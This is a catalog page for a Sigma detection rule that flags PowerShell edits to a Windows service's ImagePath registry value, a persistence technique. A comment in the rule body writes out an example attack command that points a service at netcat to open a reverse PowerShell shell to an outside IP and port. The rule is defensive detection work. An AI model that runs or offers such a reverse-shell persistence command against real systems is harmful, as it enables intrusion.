Detection rules › Sigma
Service abuse with malicious ImagePath (Reg via PowerShell)
Detects scenarios where an attacker modify the original service executable path with a malicious one.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | T1543.003 Create or Modify System Process: Windows Service |
Event coverage
| Provider | Event | Title |
|---|---|---|
| PowerShell | Event ID 4103 | Payload Context: ContextInfo User Data: UserData. |
| PowerShell | Event ID 4104 | Creating Scriptblock text (MessageNumber of MessageTotal). |
| PowerShell | Event ID 800 | Event ID 800 |
Rule body yaml
title: Service abuse with malicious ImagePath (Reg via PowerShell)
description: Detects scenarios where an attacker modify the original service executable path with a malicious one.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1543.003-Create%20or%20Modify%20System%20Process-Windows%20Service
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742019(v=ws.11)
- https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/
- https://medium.com/r3d-buck3t/abuse-service-registry-acls-windows-privesc-f88079140509
tags:
- attack.persistence
- attack.t1543.003
author: mdecrevoisier
status: experimental
logsource:
product: windows
category:
- ps_module
- ps_classic_script
- ps_script
detection: # Set-ItemProperty -path HKLM:\System\CurrentControlSet\services\xboxgip -name ImagePath -value "C:\nc.exe -e powershell.exe 10.10.14.26 4447"
selection_powershell_native:
EventID: 800
EventData|contains|all:
- '-ItemProperty' # Can be New-* or Set-*
- '\SYSTEM\CurrentControlSet\Services\'
- ImagePath
selection_powershell_modern:
EventID: 4103
Payload|contains|all:
- '-ItemProperty' # Can be New-* or Set-*
- '\SYSTEM\CurrentControlSet\Services\'
- ImagePath
selection_powershell_block:
EventID: 4104
ScriptBlockText|contains|all:
- '-ItemProperty' # Can be New-* or Set-*
- '\SYSTEM\CurrentControlSet\Services\'
- ImagePath
condition: 1 of selection*
falsepositives:
- administrator reconfiguring service
level: high
Stages and Predicates
Stage 0: condition
1 of selection*Stage 1: selection_powershell_native
selection_powershell_native:
EventID: 800
EventData|contains|all:
- '-ItemProperty'
- '\SYSTEM\CurrentControlSet\Services\'
- ImagePath
Stage 2: selection_powershell_modern
selection_powershell_modern:
EventID: 4103
Payload|contains|all:
- '-ItemProperty'
- '\SYSTEM\CurrentControlSet\Services\'
- ImagePath
Stage 3: selection_powershell_block
selection_powershell_block:
EventID: 4104
ScriptBlockText|contains|all:
- '-ItemProperty'
- '\SYSTEM\CurrentControlSet\Services\'
- ImagePath
Indicators
Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.
| Field | Kind | Values |
|---|---|---|
EventData | match |
|
Payload | match |
|
ScriptBlockText | match |
|